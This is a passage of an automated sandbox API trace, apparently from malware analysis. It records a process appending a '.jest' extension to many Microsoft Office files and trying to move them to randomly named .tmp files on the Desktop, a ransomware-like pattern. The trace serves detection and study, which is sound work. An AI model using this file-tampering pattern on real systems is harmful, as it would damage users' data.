AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.826] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.827] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css.jest")) returned 1 [0165.905] VarBstrFromR4 (in: fltIn=0x479457c6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.55") returned 0x0 [0165.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yYnmLhI9s7B-QOfgw7sKDxki2y3R0o2CwpJZ9_bwO9QJtxxUeEexQtOQACblYbBQLPyVDu7iAWvUihF_i KexN6YM4KW4DfUQez0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yynmlhi9s7b-qofgw7skdxki2y3r0o2cwpjz9_bwo9qjtxxueeexqtoqacblybbqlpyvdu7iawvuihf_i kexn6ym4kw4dfuqez0.tmp")) returned 0 [0165.912] GetLastError () returned 0x2 [0165.913] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.914] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css.jest")) returned 1 [0165.935] VarBstrFromR4 (in: fltIn=0x479457c8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.56") returned 0x0 [0165.936] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wL8TJZdqTK_SI5HcO2wuotS6fBlbSPOboIfg vNp4VEVTGpsqL1VG0ZgsoMuUfjknx1om54BvmWn-myXzYZayruGDmizxVtkyqpq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3wl8tjzdqtk_si5hco2wuots6fblbspoboifg vnp4vevtgpsql1vg0zgsomuufjknx1om54bvmwn-myxzyzayrugdmizxvtkyqpq.tmp")) returned 0 [0165.937] GetLastError () returned 0x2 [0165.938] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg.jest")) returned 1 [0165.972] VarBstrFromR4 (in: fltIn=0x479457cc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.59") returned 0x0 [0165.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m63oPLd6E -BkO6L8uC1b DwJkeKWxKWuzZA89PxcsL KdBI6WRQqkIKfaokHRHEqIXd4ausEwJ-ASJbKWxw-5_9uJUqAqEOrSrmx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m63opld6e -bko6l8uc1b dwjkekwxkwuzza89pxcsl kdbi6wrqqkikfaokhrheqixd4ausewj-asjbkwxw-5_9ujuqaqeorsrmx.tmp")) returned 0 [0165.973] GetLastError () returned 0x2 [0165.991] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg.jest")) returned 1 [0166.018] VarBstrFromR4 (in: fltIn=0x479457d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.64") returned 0x0 [0166.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O_8CKMEVQDZ0ZJiLMNR5LRnBPW7nrhfmYAZVyzLDQeedpUFPsNZzHxr3zOUouHH4V1FXLDxGfJQZGoijwdPq2BV6LAGeqHu5cgdF0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o_8ckmevqdz0zjilmnr5lrnbpw7nrhfmyazvyzldqeedpufpsnzzhxr3zououhh4v1fxldxgfjqzgoijwdpq2bv6lageqhu5cgdf0.tmp")) returned 0 [0166.021] GetLastError () returned 0x2 [0166.029] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg.jest")) returned 1 [0166.053] VarBstrFromR4 (in: fltIn=0x479457d6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.67") returned 0x0 [0166.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IcvV-sFr0F7quszYwgrc-qMSd8l YvIeKehx3Y hhqvOdsD2rSGXxNFkHOtdjBLE05waEJQZfajAxtF5_ots7uNArWG9hSxmAz6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icvv-sfr0f7quszywgrc-qmsd8l yviekehx3y hhqvodsd2rsgxxnfkhotdjble05waejqzfajaxtf5_ots7unarwg9hsxmaz6.tmp")) returned 0 [0166.062] GetLastError () returned 0x2 [0166.064] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.065] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml.jest")) returned 1 [0166.069] VarBstrFromR4 (in: fltIn=0x479457d8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.69") returned 0x0 [0166.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vzvkRGW9sV5ekOdo-EwW_0XqpqDKKFXI-biRGdpMRdj-5P4F_AHW9-AcaBVplwPGKESAG6VxXrtFpiISXzmd0qXmhNLOL6hmgQJL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzvkrgw9sv5ekodo-eww_0xqpqdkkfxi-birgdpmrdj-5p4f_ahw9-acabvplwpgkesag6vxxrtfpiisxzmd0qxmhnlol6hmgqjl.tmp")) returned 0 [0166.091] GetLastError () returned 0x2 [0166.091] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.jest")) returned 1 [0166.115] VarBstrFromR4 (in: fltIn=0x479457dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.72") returned 0x0 [0166.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mb_muwIQZ19r5dJ9kMRZnX3 BtgujbKTqhPdFx0TvVvd8Klxa8uBJVAAwYGExFYyHD-E-ry6o0eg-J_DDT5FNzZqocyxXR10yn iK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb_muwiqz19r5dj9kmrznx3 btgujbktqhpdfx0tvvvd8klxa8ubjvaawygexfyyhd-e-ry6o0eg-j_ddt5fnzzqocyxxr10yn ik.tmp")) returned 0 [0166.117] GetLastError () returned 0x2 [0166.118] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.jest")) returned 1 [0166.125] VarBstrFromR4 (in: fltIn=0x479457de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.73") returned 0x0 [0166.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sDcppZ3cn7kUHR5aIXxp4Ff49J7MVOEr0N3U7 NKFPqAVZWRisBYgrdisnH4okBfxzxufdozsSjhCtAfzoPspsd_dsQCTwt W_5L.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sdcppz3cn7kuhr5aixxp4ff49j7mvoer0n3u7 nkfpqavzwrisbygrdisnh4okbfxzxufdozssjhctafzopspsd_dsqctwt w_5l.tmp")) returned 0 [0166.126] GetLastError () returned 0x2 [0166.127] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\x17\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.129] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.jest")) returned 1 [0166.145] VarBstrFromR4 (in: fltIn=0x479457e0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.75") returned 0x0 [0166.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jc9HEgYyUNalvPbuWlWy_hhjuo-lbTxsBEY_SiLqbup9OieFjOSjruJ7tnMO7Zjnckf-D9oRlvZ10R5mWc2tQ0hMeF-t6u2y94cim.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jc9hegyyunalvpbuwlwy_hhjuo-lbtxsbey_silqbup9oiefjosjruj7tnmo7zjnckf-d9orlvz10r5mwc2tq0hmef-t6u2y94cim.tmp")) returned 0 [0166.147] GetLastError () returned 0x2 [0166.147] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\x1f\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml.jest")) returned 1 [0166.226] VarBstrFromR4 (in: fltIn=0x479457ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.83") returned 0x0 [0166.228] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S_1GB8FH39bkB6T67BiQR47Gp1ULR97i7LeMPmuHrpOk3mrxm-Zn4krdbxSuLl9wligPsS knbP4lGhO0Dy1IhKz D_9yIOCBWY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s_1gb8fh39bkb6t67biqr47gp1ulr97i7lempmuhrpok3mrxm-zn4krdbxsull9wligpss knbp4lgho0dy1ihkz d_9yiocbwy.tmp")) returned 0 [0166.228] GetLastError () returned 0x2 [0166.229] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="&\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.263] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="(\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.265] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="*\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.289] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.jest")) returned 1 [0166.396] VarBstrFromR4 (in: fltIn=0x479457fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.98") returned 0x0 [0166.397] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7fZKSGn-MwtBo8Gi09ol6UwlHYmf-VWmyi HWsTv-Q5 UXeK9278OO_RGhKD9JmLbPvSBHFTXyjhOjr49KCbLtagk412E8ZQTMDF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fzksgn-mwtbo8gi09ol6uwlhymf-vwmyi hwstv-q5 uxek9278oo_rghkd9jmlbpvsbhftxyjhojr49kcbltagk412e8zqtmdf.tmp")) returned 0 [0166.398] GetLastError () returned 0x2 [0166.412] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.413] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.jest")) returned 1 [0166.438] VarBstrFromR4 (in: fltIn=0x47945802, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.02") returned 0x0 [0166.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9gf_P3hNOj7C0sfcy6vC8ir30 K6TkvBAiAPa5BR3IYd0U4DQI25ZGtGLQYHWLHFzrZ6OLfiO409 ZdE91Rr3gK5Qxk5x6cIKL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9gf_p3hnoj7c0sfcy6vc8ir30 k6tkvbaiapa5br3iyd0u4dqi25zgtglqyhwlhfzrz6olfio409 zde91rr3gk5qxk5x6cikl.tmp")) returned 0 [0166.439] GetLastError () returned 0x2 [0166.440] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.jest")) returned 1 [0166.443] VarBstrFromR4 (in: fltIn=0x47945802, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.02") returned 0x0 [0166.444] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NvGjcHCZ5-4DvVA7bBo EvCEsZTdAosXKdJSfRd9N_yvSu_jVDPy4DCX8WiJCcZLD uIkDE-vUsVVbJ9_jMzOdRvWwcUuMYF7VwcQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nvgjchcz5-4dvva7bbo evcesztdaosxkdjsfrd9n_yvsu_jvdpy4dcx8wijcczld uikde-vusvvbj9_jmzodrvwwcuumyf7vwcq.tmp")) returned 0 [0166.444] GetLastError () returned 0x2 [0166.444] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, 